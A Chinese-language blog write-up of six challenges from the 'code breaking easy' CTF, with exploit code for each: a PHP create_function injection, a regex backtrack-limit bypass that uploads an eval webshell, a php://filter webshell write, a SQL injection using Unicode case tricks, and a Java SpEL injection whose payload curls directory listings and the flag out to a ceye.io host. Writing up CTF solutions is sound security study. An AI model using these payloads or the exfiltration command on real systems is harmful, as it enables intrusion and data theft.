Xi4or0uji's blog

code breaking easy

字数统计: 2.5k阅读时长: 10 min
2019/03/20 Share

前言

这个是知识星球里面的一个比赛,一开始的时候事情多,没及时做,最近刷ph牛的文章看到这个比赛,找来复现一下

function

题目

function这题是一个php代码审计题,题目很短

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

可以看到,题目想要我们输入两个参数绕过正则,然后就可以执行任意命令了

题解

寻找可利用字符

我们先审计源码,可以看到如果传过来actionarg那就分别赋值,然后对action进行正则表达式过滤
先看正则表达式

1
2
3
4
/^[a-z0-9_]*$/isD
/i 忽略大小写
/s 匹配任何不可见字符
/D 如果正则表达式用$限制结尾字符,则不允许结尾有换行

所以我们现在就要找一个开头不是字母数字和下划线的值,同时还要可以正常地执行函数
因此我们先fuzz一下

1
2
3
4
5
6
7
8
9
10
11
import requests
for i in range(0,256):
s= hex(i)[2:]
if len(s)<2:
s = '%0'+s
else:
s = '%'+s
url = 'http://xiaorouji.cn:8087/?action='+s+'var_dump&arg=find'
r = requests.get(url=url).content
if 'find' in r:
print s

跑出来%5c可以成功绕过,原因p神在小密圈说了

1
2
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

寻找getshell函数

接下来的利用我们就要用到create_function函数了
在官方手册中它是这样的

1
create_function ( string $args , string $code ) : string

这个函数由两个参数组成,第一个是函数名,第二个是函数内的代码。官方例子如下

1
2
3
4
5
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
实际上也就是
function test($a,$b){
return "ln($a) + ln($b) = ".log($a*$b);
}

也可以简单理解成

1
2
3
create_function($_GET['args'],$_GET['code']);
$a = 'function __lambda_func('.$_GET['args'].'){'.$_GET['code'].'}\0';
eval($a);

顺便看一下create_function的源码也可以看到第一个参数是用(闭合的,第二个是用{闭合的

getflag

剩下的就是闭合以及利用了,尝试一下能不能得到phpinfo

接下来就是getshell了,尝试下利用system函数

发现被禁了,那就试下scandir函数

成功getflag(这个flag是在上一层的目录上

parewaf

这个题目依旧很短,考的是php的正则特性

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}

可以看到,这是一个上传文件的代码
首先拿到了文件会先判断是不是里面有没有php代码,如果有就返回bad request,否则就新建一个路径为data/md5($_SERVER['REMOTE_ADDR']),然后将文件命名为randon_int(0,10).php存储在新建的文件夹里面,最后将存储路径在http头里面返回过来

题解

分析正则

首先我们先看一下他的正则表达式

1
/<\?.*[(`;?>].*/is

的匹配过程

可以看到它先是从前面匹配了<?,接下来的.*将所有都匹配了,然后还需要匹配就要回溯回去前面,因此一直回溯到前面的>完成符号匹配,然后从该点开始向后进行匹配,完成最后的.*匹配
而同时,php为了防止正则表达式的拒绝服务攻击,设置了一个回溯次数的上限

而如果回溯次数超过1000000的时候,它的返回就变成了false了

payload

既然已经知道要怎么绕过漏洞点了,接下来就是写payload了

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

file = {
'file': BytesIO('<?php eval($_POST["cmd"]);//' + 'a'*1000010)
}

res = requests.post('http://xiaorouji.cn:8088/',files=file,allow_redirects=False)
print res.headers['Location']

拿到了shell文件目录以后就是利用了


getflag√

phpmagic

这个题目让人感觉略为懵逼,但是找到源码就做起来舒服了

题目

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;

题解

审计源码可以看到,文件名和文件内容我们都是可以知道的,但是文件内容会经过htmlspecialchars,所以想直接传个小马是8可能的,但是php有一个特性,只要能进行文件传输的地方,基本是都是能进行协议流的传输的,我们先本地尝试一波

果然可以写文件,那么现在问题来了,文件名前面会加上$_SERVER['SERVER_NAME'],同时后缀几乎全部过滤了,还有就是文件内容也不是完全可控的
首先文件名前面加上的$_SERVER['SERVER_NAME'],我们可以通过修改Host的值达到控制的目的
接下来,我们想要绕过后缀要用到一个黑魔法,所以我们只要在文件名后面加个\.就可以绕过限制了
最后是文件内容不可控,但是我们可以看到,我们传过去的是base64编码的,在php伪协议解码的时候,遇到不规范的字符是会自动跳过解码的,因此我们只需要填充前面的规范字符使前面的字符是4的倍数,就能成功的让我们想写的shell文件成功解码了
先找一下前面的字符

可以看到规范字符ltltgtgtDiG9959deb8u15DebianltltgtgttAq刚好40位,4的倍数,所以直接加文件内容就行啦
接下来就是利用了

这样就能写进webshell了

phplimit

这道题目很短,满足了正则就能执行任意命令了

题目

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

题解

从正则表达式可以看到它会匹配字母和括号,接下来找一找能绕过的方法

可以看到只要最内层的函数没有参数的话,正则就能绕过,这里我们利用session去达到执行命令的目的
session_id,用来设置或者获取当前会话的id,对应PHPSESSID的值
session_start,用来创建新的会话或者重用现有会话
因此我们可以利用session_id(session_start()),但是PHPSESSID只允许字母数字和下划线,所以要将字符换下编码

最后就是利用了


还有一个其他师傅的payload

1
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

巨强

nodechr

一进去就是一大堆代码……

题目

首先审计源码可以看到题目将flag放进去数据库,然后让用户登录进去,先贴一波关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

可以看到他将unionselect那些过滤了,所以想直接读flag有点难,但是我们可以看到有个toUpperCase函数,看下ph牛的这篇文章,因此我们可以利用这些字符写payload

最终payload

1
2
3
4
5
6
7
8
9
#coding:utf-8
import requests,base64
url = "http://xiaorouji.cn:8085/login"
data = {
"username": "admin",
"password": "0' unıon ſelect 1,flag,3 from flags where '1'='1"
}
res = requests.post(url,data=data).content
print res

Javacon

这题我们首先可以拿到一个jar包,然后用idea反编译出来可以看到一堆的java代码,肉鸡枯了…….
先看一下目录结构,有5个类和一个配置文件

配置文件里面放了用户信息,因此我们用admin/admin是可以登录进网站的

接下来就去看MainController文件,这里只放重点函数

可以看到登录的时候,如果选了remember-me,就会将用户加密存储在cookie里面

接着admin会对跳转之后的cookie做处理,判断remember-me的值是否存在,如果存在就解密

验证过程上图,可以看见是先找黑名单,如果匹配出来返回FORBIDDEN,否则就继续下面的语句,在SmallEvaluationContext中进行SPEL解析,又因为有黑名单java.+lang,Runtime,exec.*\(,所以最后的利用字符串拼接和反射构造pop链
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.company;
import javax.crypto.spec.IvParameterSpec;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.slf4j.LoggerFactory;

class Encryptor{
static org.slf4j.Logger logger = LoggerFactory.getLogger(Encryptor.class);
public static String encrypt(String key, String initVector, String value){
try{
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"),"AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
}catch (Exception e){
logger.warn(e.getMessage());
}
return null;
}
}
public class Main {
public static void main(String[] args) {
//查看目录
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}"));
//读flag文件
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cat flag_j4v4_chun|base64`'})}"));

}
}

读目录



读flag

CATALOG
  1. 1. 前言
  2. 2. function
    1. 2.1. 题目
    2. 2.2. 题解
      1. 2.2.1. 寻找可利用字符
      2. 2.2.2. 寻找getshell函数
      3. 2.2.3. getflag
  3. 3. parewaf
    1. 3.1. 题目
    2. 3.2. 题解
      1. 3.2.1. 分析正则
      2. 3.2.2. payload
  4. 4. phpmagic
    1. 4.1. 题目
    2. 4.2. 题解
  5. 5. phplimit
    1. 5.1. 题目
    2. 5.2. 题解
  6. 6. nodechr
    1. 6.1. 题目
  7. 7. Javacon